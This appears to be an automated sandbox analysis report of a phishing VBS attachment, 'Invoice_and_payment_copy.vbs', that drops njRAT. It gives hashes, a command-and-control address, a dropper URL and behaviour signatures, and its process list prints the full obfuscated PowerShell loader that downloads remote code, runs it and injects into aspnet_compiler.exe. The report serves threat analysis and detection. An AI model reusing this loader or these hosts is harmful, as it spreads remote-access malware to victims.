Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
10-09-2021 19:15
Static task
static1
Behavioral task
behavioral1
Sample
Invoice_and_payment_copy.vbs
Resource
win7-en
windows7_x64
0 signatures
0 seconds
General
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Target
Invoice_and_payment_copy.vbs
-
Size
5KB
-
MD5
83b9414820f37287d526b16da3c6e6d9
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SHA1
9afab0d39520db7e8754ac5c9e27f7d73220d27c
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SHA256
d0b59cba5f88973dfeea8610926e26b61b4c25125bfd8168954e9dd87d6b132d
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SHA512
1879f8dc3087a0a5e3a4b7f21ef210fe8278117ef687fac45ccd0d71e63ef6b9a621a036b222fc5bf6ad007df76bc6d0ec3f8c3f6b7dcd20dcad6fc31b945fb1
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://54.184.87.30/Dbypass.txt
Extracted
Family
njrat
Version
v4.0
Botnet
Boss
C2
103.147.184.73:7103
Mutex
Windows
Attributes
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reg_key
Windows
-
splitter
|-F-|
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 2228 powershell.exe 6 2228 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2228 set thread context of 1584 2228 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 2228 powershell.exe 2228 powershell.exe 2228 powershell.exe 2228 powershell.exe 2228 powershell.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
powershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 2228 powershell.exe Token: SeDebugPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe Token: 33 1584 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1584 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 4024 wrote to memory of 2228 4024 WScript.exe powershell.exe PID 4024 wrote to memory of 2228 4024 WScript.exe powershell.exe PID 2228 wrote to memory of 1544 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1544 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1544 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe PID 2228 wrote to memory of 1584 2228 powershell.exe aspnet_compiler.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice_and_payment_copy.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54XXX184XXX87XXX30/DbypassXXXtxt'.Replace('XXX','.');$SOS='2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===^5===H===^`===H===^7===H===^8===H===^a===H===20===H===3d===H===20===H===27===H===`e===H===^5===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===^5===H===`2===H===^3===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===5^===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===7^===H===2e===H===57===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===27===H===2c===H===27===H===`c===H===^9===H===^5===H===^e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===20===H===3d===H===20===H===27===H===^^===H===^f===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===`1===H===^^===H===53===H===5^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===27===H===2c===H===27===H===57===H===`e===H===^c===H===`f===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===72===H===^9===H===`e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===3d===H===27===H===^9===H===`0===H===^5===H===58===H===28===H===`e===H===`0===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===`0===H===`3===H===`0===H===5^===H===20===H===2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===^2===H===^8===H===^e===H===^a===H===53===H===^^===H===^`===H===^7===H===^8===H===29===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===`5===H===`0===H===57===H===`0===H===2d===H===^f===H===`2===H===`a===H===`0===H===^5===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===^5===H===^`===H===^7===H===^8===H===^a===H===29===H===2e===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===28===H===2^===H===53===H===5a===H===58===H===^^===H===^3===H===^`===H===5`===H===27===H===29===H===3b===H===0a===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===28===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===2d===H===^a===H===`f===H===`9===H===`e===H===20===H===27===H===27===H===29===H===7c===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===3b'.Replace('^','4').Replace('`','6');Invoke-Expression (-join ($SOS -split '===' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1584-3453-0x0000000000400000-0x000000000040E000-memory.dmpFilesize
56KB
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memory/1584-3466-0x00000000058A0000-0x00000000058A1000-memory.dmpFilesize
4KB
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memory/1584-3465-0x00000000057F0000-0x00000000057F1000-memory.dmpFilesize
4KB
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memory/1584-3464-0x00000000057E0000-0x00000000057E1000-memory.dmpFilesize
4KB
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memory/1584-3463-0x0000000005CF0000-0x0000000005CF1000-memory.dmpFilesize
4KB
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memory/1584-3462-0x0000000005160000-0x0000000005161000-memory.dmpFilesize
4KB
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memory/1584-3454-0x000000000040836E-mapping.dmp
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memory/2228-124-0x0000026BBE9D3000-0x0000026BBE9D5000-memory.dmpFilesize
8KB
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memory/2228-3450-0x0000026BBEA90000-0x0000026BBEA94000-memory.dmpFilesize
16KB
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memory/2228-279-0x0000026BBE9D8000-0x0000026BBE9D9000-memory.dmpFilesize
4KB
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memory/2228-134-0x0000026BBE9D6000-0x0000026BBE9D8000-memory.dmpFilesize
8KB
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memory/2228-127-0x0000026BD8FF0000-0x0000026BD8FF1000-memory.dmpFilesize
4KB
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memory/2228-114-0x0000000000000000-mapping.dmp
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memory/2228-121-0x0000026BBE9D0000-0x0000026BBE9D2000-memory.dmpFilesize
8KB
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memory/2228-120-0x0000026BBEA10000-0x0000026BBEA11000-memory.dmpFilesize
4KB